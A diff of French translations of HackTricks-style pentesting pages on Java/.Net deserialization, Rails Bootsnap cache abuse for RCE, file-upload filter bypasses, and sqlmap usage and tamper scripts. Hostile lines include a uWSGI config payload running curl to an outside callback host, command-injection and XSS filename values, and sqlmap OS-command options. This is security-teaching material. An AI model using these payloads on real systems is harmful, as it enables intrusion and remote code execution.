**Implémentation des filtres de sérialisation** : Java 9 a introduit des filtres de sérialisation via l'interface **`ObjectInputFilter`**, fournissant un mécanisme puissant pour spécifier les critères que les objets sérialisés doivent respecter avant d'être désérialisés. Ces filtres peuvent être appliqués globalement ou par flux, offrant un contrôle granulaire sur le processus de désérialisation.
|
||||
|
||||
Pour utiliser les filtres de sérialisation, vous pouvez définir un filtre global qui s'applique à toutes les opérations de désérialisation ou le configurer dynamiquement pour des flux spécifiques. Par exemple :
|
||||
```java
|
||||
@ -568,7 +568,7 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**Exploitation des bibliothèques externes pour une sécurité renforcée** : Des bibliothèques telles que **NotSoSerial**, **jdeserialize** et **Kryo** offrent des fonctionnalités avancées pour contrôler et surveiller la désérialisation Java. Ces bibliothèques peuvent fournir des couches de sécurité supplémentaires, telles que la mise sur liste blanche ou noire de classes, l'analyse des objets sérialisés avant la désérialisation et la mise en œuvre de stratégies de sérialisation personnalisées.
|
||||
**Exploitation des bibliothèques externes pour une sécurité renforcée** : Des bibliothèques telles que **NotSoSerial**, **jdeserialize** et **Kryo** offrent des fonctionnalités avancées pour contrôler et surveiller la désérialisation Java. Ces bibliothèques peuvent fournir des couches de sécurité supplémentaires, telles que le filtrage des classes, l'analyse des objets sérialisés avant la désérialisation et la mise en œuvre de stratégies de sérialisation personnalisées.
|
||||
|
||||
- **NotSoSerial** intercepte les processus de désérialisation pour empêcher l'exécution de code non fiable.
|
||||
- **jdeserialize** permet l'analyse d'objets Java sérialisés sans les désérialiser, aidant à identifier un contenu potentiellement malveillant.
|
||||
@ -615,7 +615,7 @@ Cela signifie que dans cette exploitation, tous les **clients qui vont utiliser
|
||||
|
||||
Vous devez vous rappeler que même si un service est vulnérable (car il désérialise de manière non sécurisée l'entrée utilisateur), vous devez toujours trouver des gadgets valides pour exploiter la vulnérabilité.
|
||||
|
||||
L'outil [JMET](https://github.com/matthiaskaiser/jmet) a été créé pour **se connecter et attaquer ces services en envoyant plusieurs objets malveillants sérialisés en utilisant des gadgets connus**. Ces exploits fonctionneront si le service est toujours vulnérable et si l'un des gadgets utilisés se trouve dans l'application vulnérable.
|
||||
L'outil [JMET](https://github.com/matthiaskaiser/jmet) a été créé pour **se connecter et attaquer ces services en envoyant plusieurs objets malveillants sérialisés utilisant des gadgets connus**. Ces exploits fonctionneront si le service est toujours vulnérable et si l'un des gadgets utilisés se trouve dans l'application vulnérable.
|
||||
|
||||
### Références
|
||||
|
||||
@ -624,7 +624,7 @@ L'outil [JMET](https://github.com/matthiaskaiser/jmet) a été créé pour **se
|
||||
|
||||
## .Net
|
||||
|
||||
Dans le contexte de .Net, les exploits de désérialisation fonctionnent de manière similaire à ceux trouvés en Java, où des gadgets sont exploités pour exécuter un code spécifique lors de la désérialisation d'un objet.
|
||||
Dans le contexte de .Net, les exploits de désérialisation fonctionnent de manière similaire à ceux trouvés dans Java, où des gadgets sont exploités pour exécuter un code spécifique lors de la désérialisation d'un objet.
|
||||
|
||||
### Empreinte
|
||||
|
||||
@ -651,10 +651,10 @@ Les principales options de **ysoserial.net** sont : **`--gadget`**, **`--formatt
|
||||
|
||||
- **`--gadget`** utilisé pour indiquer le gadget à abuser (indique la classe/fonction qui sera abusée lors de la désérialisation pour exécuter des commandes).
|
||||
- **`--formatter`**, utilisé pour indiquer la méthode pour sérialiser l'exploit (vous devez savoir quelle bibliothèque est utilisée par le back-end pour désérialiser la charge utile et utiliser la même pour la sérialiser)
|
||||
- **`--output`** utilisé pour indiquer si vous voulez l'exploit en **brut** ou **encodé en base64**. _Notez que **ysoserial.net** va **encoder** la charge utile en utilisant **UTF-16LE** (encodage utilisé par défaut sur Windows) donc si vous obtenez le brut et que vous l'encodez simplement depuis une console linux, vous pourriez avoir des **problèmes de compatibilité d'encodage** qui empêcheront l'exploit de fonctionner correctement (dans la boîte JSON HTB, la charge utile a fonctionné à la fois en UTF-16LE et en ASCII, mais cela ne signifie pas que cela fonctionnera toujours)._
|
||||
- **`--output`** utilisé pour indiquer si vous voulez l'exploit en **brut** ou **encodé en base64**. _Notez que **ysoserial.net** va **encoder** la charge utile en utilisant **UTF-16LE** (encodage utilisé par défaut sur Windows) donc si vous obtenez le brut et que vous l'encodez simplement depuis une console linux, vous pourriez avoir des **problèmes de compatibilité d'encodage** qui empêcheront l'exploit de fonctionner correctement (dans la boîte JSON HTB, la charge utile a fonctionné à la fois en UTF-16LE et en ASCII mais cela ne signifie pas que cela fonctionnera toujours)._
|
||||
- **`--plugin`** ysoserial.net prend en charge les plugins pour créer des **exploits pour des frameworks spécifiques** comme ViewState
|
||||
|
||||
#### Plus de paramètres ysoserial.net
|
||||
#### Autres paramètres de ysoserial.net
|
||||
|
||||
- `--minify` fournira une **charge utile plus petite** (si possible)
|
||||
- `--raf -f Json.Net -c "anything"` Cela indiquera tous les gadgets qui peuvent être utilisés avec un sérialiseur fourni (`Json.Net` dans ce cas)
|
||||
@ -723,12 +723,12 @@ Pour atténuer les risques associés à la désérialisation dans .Net :
|
||||
- **Soyez prudent avec les types ayant des propriétés risquées**, comme `System.ComponentModel.DataAnnotations.ValidationException` avec sa propriété `Value`, qui peut être exploitée.
|
||||
- **Contrôlez de manière sécurisée l'instanciation des types** pour empêcher les attaquants d'influencer le processus de désérialisation, rendant même `DataContractSerializer` ou `XmlSerializer` vulnérables.
|
||||
- **Mettez en œuvre des contrôles de liste blanche** en utilisant un `SerializationBinder` personnalisé pour `BinaryFormatter` et `JSON.Net`.
|
||||
- **Restez informé sur les gadgets de désérialisation connus comme étant non sécurisés** dans .Net et assurez-vous que les désérialiseurs n'instancient pas de tels types.
|
||||
- **Restez informé sur les gadgets de désérialisation non sécurisés connus** dans .Net et assurez-vous que les désérialiseurs n'instancient pas de tels types.
|
||||
- **Isolez le code potentiellement risqué** du code ayant accès à Internet pour éviter d'exposer des gadgets connus, tels que `System.Windows.Data.ObjectDataProvider` dans les applications WPF, à des sources de données non fiables.
|
||||
|
||||
### **Références**
|
||||
|
||||
- Document sur la désérialisation JSON en Java et .Net : [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** conférence : [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) et diapositives : [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Document sur la désérialisation JSON en Java et .Net : [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk : [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) et diapositives : [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||
@ -922,6 +922,41 @@ De plus, il a été constaté qu'avec la technique précédente, un dossier est
|
||||
}
|
||||
}
|
||||
```
|
||||
Vérifiez les détails dans le [**post original**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
Vérifiez les détails supplémentaires dans le [**post original**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
### Mise en cache de Bootstrap
|
||||
|
||||
Ce n'est pas vraiment une vulnérabilité de désérialisation, mais un joli truc pour abuser de la mise en cache de Bootstrap afin d'obtenir un RCE à partir d'une application Rails avec une écriture de fichier arbitraire (trouvez le [post original complet ici](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
|
||||
Voici un bref résumé des étapes détaillées dans l'article pour exploiter une vulnérabilité d'écriture de fichier arbitraire en abusant de la mise en cache de Bootsnap :
|
||||
|
||||
- Identifier la vulnérabilité et l'environnement
|
||||
|
||||
La fonctionnalité de téléchargement de fichiers de l'application Rails permet à un attaquant d'écrire des fichiers de manière arbitraire. Bien que l'application fonctionne avec des restrictions (seules certaines répertoires comme tmp sont accessibles en écriture en raison de l'utilisateur non-root de Docker), cela permet tout de même d'écrire dans le répertoire de cache de Bootsnap (généralement sous tmp/cache/bootsnap).
|
||||
|
||||
- Comprendre le mécanisme de cache de Bootsnap
|
||||
|
||||
Bootsnap accélère les temps de démarrage de Rails en mettant en cache le code Ruby compilé, les fichiers YAML et JSON. Il stocke des fichiers de cache qui incluent un en-tête de clé de cache (avec des champs comme la version Ruby, la taille du fichier, mtime, options de compilation, etc.) suivi du code compilé. Cet en-tête est utilisé pour valider le cache lors du démarrage de l'application.
|
||||
|
||||
- Rassembler les métadonnées du fichier
|
||||
|
||||
L'attaquant sélectionne d'abord un fichier cible qui est probablement chargé lors du démarrage de Rails (par exemple, set.rb de la bibliothèque standard de Ruby). En exécutant du code Ruby à l'intérieur du conteneur, il extrait des métadonnées critiques (telles que RUBY_VERSION, RUBY_REVISION, taille, mtime et compile_option). Ces données sont essentielles pour créer une clé de cache valide.
|
||||
|
||||
- Calculer le chemin du fichier de cache
|
||||
|
||||
En répliquant le mécanisme de hachage FNV-1a 64 bits de Bootsnap, le chemin correct du fichier de cache est déterminé. Cette étape garantit que le fichier de cache malveillant est placé exactement là où Bootsnap s'y attend (par exemple, sous tmp/cache/bootsnap/compile-cache-iseq/).
|
||||
|
||||
- Créer le fichier de cache malveillant
|
||||
|
||||
L'attaquant prépare un payload qui :
|
||||
|
||||
- Exécute des commandes arbitraires (par exemple, exécuter id pour afficher les informations sur le processus).
|
||||
- Supprime le cache malveillant après exécution pour éviter une exploitation récursive.
|
||||
- Charge le fichier original (par exemple, set.rb) pour éviter de faire planter l'application.
|
||||
|
||||
Ce payload est compilé en code Ruby binaire et concaténé avec un en-tête de clé de cache soigneusement construit (en utilisant les métadonnées précédemment rassemblées et le numéro de version correct pour Bootsnap).
|
||||
|
||||
- Écraser et déclencher l'exécution
|
||||
En utilisant la vulnérabilité d'écriture de fichier arbitraire, l'attaquant écrit le fichier de cache préparé à l'emplacement calculé. Ensuite, il déclenche un redémarrage du serveur (en écrivant dans tmp/restart.txt, qui est surveillé par Puma). Lors du redémarrage, lorsque Rails nécessite le fichier ciblé, le fichier de cache malveillant est chargé, entraînant une exécution de code à distance (RCE).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -45,7 +45,7 @@ Autres extensions utiles :
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Essayez de mettre l'**extension exec avant l'extension valide** et priez pour que le serveur soit mal configuré. (utile pour exploiter les mauvaises configurations d'Apache où tout avec l'extension **_**.php**_**, mais** pas nécessairement se terminant par .php** exécutera du code) :
|
||||
- _ex : file.php.png_
|
||||
7. Utilisation de **NTFS alternate data stream (ADS)** dans **Windows**. Dans ce cas, un caractère deux-points “:” sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par exemple “file.asax:.jpg”). Ce fichier pourrait être modifié plus tard en utilisant d'autres techniques telles que l'utilisation de son nom de fichier court. Le motif “**::$data**” peut également être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un caractère point après ce motif pourrait également être utile pour contourner d'autres restrictions (par exemple “file.asp::$data.”)
|
||||
7. Utilisation de **NTFS alternate data stream (ADS)** dans **Windows**. Dans ce cas, un caractère deux-points “:” sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par exemple, “file.asax:.jpg”). Ce fichier pourrait être modifié plus tard en utilisant d'autres techniques telles que l'utilisation de son nom de fichier court. Le motif “**::$data**” peut également être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un caractère point après ce motif pourrait également être utile pour contourner d'autres restrictions (par exemple, “file.asp::$data.”)
|
||||
8. Essayez de dépasser les limites de nom de fichier. L'extension valide est coupée. Et le PHP malveillant reste. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
L'exécution de la charge utile se produit lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (potentiellement après un crash ou en raison d'une attaque par déni de service), soit le fichier doit être configuré pour se recharger automatiquement. La fonction de rechargement automatique, si elle est activée, recharge le fichier à des intervalles spécifiés lors de la détection de modifications.
|
||||
L'exécution de la charge utile se produit lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit être redémarré (potentiellement après un crash ou en raison d'une attaque par déni de service) ou le fichier doit être configuré pour se recharger automatiquement. La fonction de rechargement automatique, si elle est activée, recharge le fichier à des intervalles spécifiés lors de la détection de modifications.
|
||||
|
||||
Il est crucial de comprendre la nature laxiste de l'analyse du fichier de configuration de uWSGI. En particulier, la charge utile discutée peut être insérée dans un fichier binaire (tel qu'une image ou un PDF), élargissant ainsi le champ d'exploitation potentiel.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
Dans certaines occasions, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et vous pouvez **indiquer** l'**URL**. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés est dans une liste blanche pour s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée.**\
|
||||
La **longueur maximale** d'un **nom de fichier** dans **linux** est de **255**, cependant, **wget** tronque les noms de fichiers à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournera** la **vérification** (car dans cet exemple **".gif"** est une **extension valide**) mais `wget` **renommera** le fichier en **"A"\*232+".php"**.
|
||||
La **longueur** maximale d'un **nom de fichier** dans **linux** est de **255**, cependant, **wget** tronque les noms de fichiers à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournera** la **vérification** (comme dans cet exemple **".gif"** est une **extension valide**) mais `wget` **renommera** le fichier en **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -169,7 +169,7 @@ Notez qu'une **autre option** à laquelle vous pourriez penser pour contourner c
|
||||
- Définissez **filename** sur `<svg onload=alert(document.domain)>` pour atteindre un XSS
|
||||
- Définissez **filename** sur `; sleep 10;` pour tester une injection de commande (plus de [trucs d'injection de commandes ici](../command-injection.md))
|
||||
- [**XSS** dans le téléchargement de fichiers image (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** fichier **upload** + **XSS** = [**exploitation des Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- **JS** fichier **upload** + **XSS** = [exploitation des **Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE dans le téléchargement svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via le téléchargement de fichiers svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Essayez **différents payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
@ -206,11 +206,11 @@ https://github.com/portswigger/upload-scanner
|
||||
|
||||
Référez-vous à [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) pour d'autres types de fichiers.
|
||||
|
||||
### Téléchargement de fichiers Zip/Tar automatiquement décompressés
|
||||
## Téléchargement de fichiers Zip/Tar automatiquement décompressés
|
||||
|
||||
Si vous pouvez télécharger un ZIP qui sera décompressé sur le serveur, vous pouvez faire 2 choses :
|
||||
|
||||
#### Symlink
|
||||
### Symlink
|
||||
|
||||
Téléchargez un lien contenant des liens symboliques vers d'autres fichiers, puis, en accédant aux fichiers décompressés, vous accéderez aux fichiers liés :
|
||||
```
|
||||
@ -305,6 +305,14 @@ Malgré leur adaptabilité, les polyglottes rencontrent des limitations. Par exe
|
||||
|
||||
Plus d'informations sur : [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Télécharger des JSON valides comme s'il s'agissait de PDF
|
||||
|
||||
Comment éviter les détections de type de fichier en téléchargeant un fichier JSON valide même s'il n'est pas autorisé en faisant passer un fichier PDF (techniques de **[cet article de blog](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**) :
|
||||
|
||||
- **Bibliothèque `mmmagic`** : Tant que les octets magiques `%PDF` sont dans les 1024 premiers octets, c'est valide (obtenir un exemple de l'article)
|
||||
- **Bibliothèque `pdflib`** : Ajouter un faux format PDF à l'intérieur d'un champ du JSON afin que la bibliothèque pense qu'il s'agit d'un PDF (obtenir un exemple de l'article)
|
||||
- **Binaire `file`** : Il peut lire jusqu'à 1048576 octets d'un fichier. Il suffit de créer un JSON plus grand que cela afin qu'il ne puisse pas analyser le contenu comme un JSON et ensuite, à l'intérieur du JSON, mettre la partie initiale d'un vrai PDF et il pensera que c'est un PDF
|
||||
|
||||
## Références
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
@ -313,5 +321,6 @@ Plus d'informations sur : [https://medium.com/swlh/polyglot-files-a-hackers-best
|
||||
- [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -45,9 +45,9 @@
|
||||
```
|
||||
En utilisant [SQLMapping](https://taurusomar.github.io/sqlmapping/), c'est un outil pratique qui génère des commandes et fournit un aperçu complet, à la fois basique et avancé, pour SQLMap. Il inclut des ToolTips qui expliquent chaque aspect de l'outil, détaillant chaque option afin que vous puissiez améliorer et comprendre comment l'utiliser de manière efficace et efficiente.
|
||||
|
||||
## Lieu d'injection
|
||||
## Injection place
|
||||
|
||||
### À partir de la capture Burp/ZAP
|
||||
### From Burp/ZAP capture
|
||||
|
||||
Capturez la requête et créez un fichier req.txt.
|
||||
```bash
|
||||
@ -80,13 +80,17 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||
```bash
|
||||
--string="string_showed_when_TRUE"
|
||||
```
|
||||
### Ajouter une technique de détection
|
||||
|
||||
Si vous avez trouvé un SQLi mais que sqlmap ne l'a pas détecté, vous pouvez forcer la technique de détection avec des arguments comme `--prefix` ou `--suffix`, ou si c'est plus complexe, en l'ajoutant aux payloads utilisés par sqlmap dans `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`, par exemple pour le time blind basé.
|
||||
|
||||
### Eval
|
||||
|
||||
**Sqlmap** permet d'utiliser `-e` ou `--eval` pour traiter chaque charge utile avant de l'envoyer avec un oneliner python. Cela rend très facile et rapide le traitement de manière personnalisée la charge utile avant de l'envoyer. Dans l'exemple suivant, la **session de cookie flask** **est signée par flask avec le secret connu avant de l'envoyer** :
|
||||
**Sqlmap** permet l'utilisation de `-e` ou `--eval` pour traiter chaque payload avant de l'envoyer avec un certain python oneliner. Cela rend très facile et rapide le traitement de manière personnalisée du payload avant de l'envoyer. Dans l'exemple suivant, la **session de cookie flask** **est signée par flask avec le secret connu avant de l'envoyer** :
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
### Shell
|
||||
### Coquille
|
||||
```bash
|
||||
#Exec command
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
|
||||
@ -109,14 +113,14 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
||||
--crawl = how deep you want to crawl a site
|
||||
--forms = Parse and test forms
|
||||
```
|
||||
### Injection de deuxième ordre
|
||||
### Injection de Second Ordre
|
||||
```bash
|
||||
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
||||
```
|
||||
[**Lisez ce post** ](second-order-injection-sqlmap.md)**sur la façon d'effectuer des injections de seconde ordre simples et complexes avec sqlmap.**
|
||||
|
||||
## Personnaliser l'injection
|
||||
## Personnalisation de l'injection
|
||||
|
||||
### Définir un suffixe
|
||||
```bash
|
||||
@ -126,7 +130,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
||||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
|
||||
```
|
||||
### Aide à la recherche d'injection booléenne
|
||||
### Aide pour trouver l'injection booléenne
|
||||
```bash
|
||||
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
|
||||
sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
@ -143,49 +147,47 @@ N'oubliez pas que **vous pouvez créer votre propre tamper en python** et c'est
|
||||
| apostrophemask.py | Remplace le caractère apostrophe par son équivalent en largeur complète UTF-8 |
|
||||
| apostrophenullencode.py | Remplace le caractère apostrophe par son équivalent unicode double illégal |
|
||||
| appendnullbyte.py | Ajoute un caractère NULL encodé à la fin de la charge utile |
|
||||
| base64encode.py | Encode en Base64 tous les caractères d'une charge utile donnée |
|
||||
| base64encode.py | Encode tous les caractères d'une charge utile donnée en Base64 |
|
||||
| between.py | Remplace l'opérateur supérieur à ('>') par 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Remplace le caractère espace après l'instruction SQL par un caractère blanc aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE |
|
||||
| chardoubleencode.py | Double url-encode tous les caractères d'une charge utile donnée (ne traite pas ceux déjà encodés) |
|
||||
| commalesslimit.py | Remplace des instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M' |
|
||||
| commalesslimit.py | Remplace des instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Remplace des instances comme 'MID(A, B, C)' par 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Remplace des instances comme 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Url-encode tous les caractères d'une charge utile donnée (ne traite pas ceux déjà encodés) |
|
||||
| concat2concatws.py | Remplace des instances comme 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Url-encode tous les caractères d'une charge utile donnée (ne traite pas ceux déjà encodés) |
|
||||
| charunicodeencode.py | Unicode-url-encode les caractères non encodés d'une charge utile donnée (ne traite pas ceux déjà encodés). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-url-encode les caractères non encodés d'une charge utile donnée (ne traite pas ceux déjà encodés). "\u0022" |
|
||||
| equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' |
|
||||
| equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' |
|
||||
| escapequotes.py | Échappe les guillemets (' et ") |
|
||||
| greatest.py | Remplace l'opérateur supérieur à ('>') par son équivalent 'GREATEST' |
|
||||
| greatest.py | Remplace l'opérateur supérieur à ('>') par son équivalent 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé |
|
||||
| ifnull2ifisnull.py | Remplace des instances comme 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)' |
|
||||
| ifnull2ifisnull.py | Remplace des instances comme 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Enveloppe la requête complète avec un commentaire versionné |
|
||||
| modsecurityzeroversioned.py | Enveloppe la requête complète avec un commentaire à zéro versionné |
|
||||
| modsecurityzeroversioned.py | Enveloppe la requête complète avec un commentaire à zéro versionné |
|
||||
| multiplespaces.py | Ajoute plusieurs espaces autour des mots-clés SQL |
|
||||
| nonrecursivereplacement.py | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par exemple, .replace("SELECT", "")) filtres |
|
||||
| percentage.py | Ajoute un signe de pourcentage ('%') devant chaque caractère |
|
||||
| overlongutf8.py | Convertit tous les caractères d'une charge utile donnée (ne traite pas ceux déjà encodés) |
|
||||
| overlongutf8.py | Convertit tous les caractères d'une charge utile donnée (ne traite pas ceux déjà encodés) |
|
||||
| randomcase.py | Remplace chaque caractère de mot-clé par une valeur de casse aléatoire |
|
||||
| randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL |
|
||||
| securesphere.py | Ajoute une chaîne spécialement conçue |
|
||||
| securesphere.py | Ajoute une chaîne spécialement conçue |
|
||||
| sp_password.py | Ajoute 'sp_password' à la fin de la charge utile pour une obfuscation automatique des journaux DBMS |
|
||||
| space2comment.py | Remplace le caractère espace (' ') par des commentaires |
|
||||
| space2dash.py | Remplace le caractère espace (' ') par un commentaire de tiret ('--') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
|
||||
| space2hash.py | Remplace le caractère espace (' ') par un caractère livre ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
|
||||
| space2morehash.py | Remplace le caractère espace (' ') par un caractère livre ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
|
||||
| space2dash.py | Remplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
|
||||
| space2hash.py | Remplace le caractère espace (' ') par un caractère livre ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
|
||||
| space2morehash.py | Remplace le caractère espace (' ') par un caractère livre ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
|
||||
| space2mssqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire d'un ensemble valide de caractères alternatifs |
|
||||
| space2mssqlhash.py | Remplace le caractère espace (' ') par un caractère livre ('#') suivi d'une nouvelle ligne ('\n') |
|
||||
| space2mysqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire d'un ensemble valide de caractères alternatifs |
|
||||
| space2mysqldash.py | Remplace le caractère espace (' ') par un commentaire de tiret ('--') suivi d'une nouvelle ligne ('\n') |
|
||||
| space2plus.py | Remplace le caractère espace (' ') par un plus ('+') |
|
||||
| space2mysqldash.py | Remplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une nouvelle ligne ('\n') |
|
||||
| space2plus.py | Remplace le caractère espace (' ') par un plus ('+') |
|
||||
| space2randomblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire d'un ensemble valide de caractères alternatifs |
|
||||
| symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs équivalents symboliques (&& et |
|
||||
| symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs équivalents symboliques (&& et |
|
||||
| unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT |
|
||||
| unmagicquotes.py | Remplace le caractère de citation (') par une combinaison multi-octets %bf%27 accompagnée d'un commentaire générique à la fin (pour que cela fonctionne) |
|
||||
| uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscules 'INSERT' |
|
||||
| varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Enveloppe chaque mot-clé non fonction par un commentaire MySQL versionné |
|
||||
| versionedmorekeywords.py | Enveloppe chaque mot-clé par un commentaire MySQL versionné |
|
||||
| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |
|
||||
|
||||
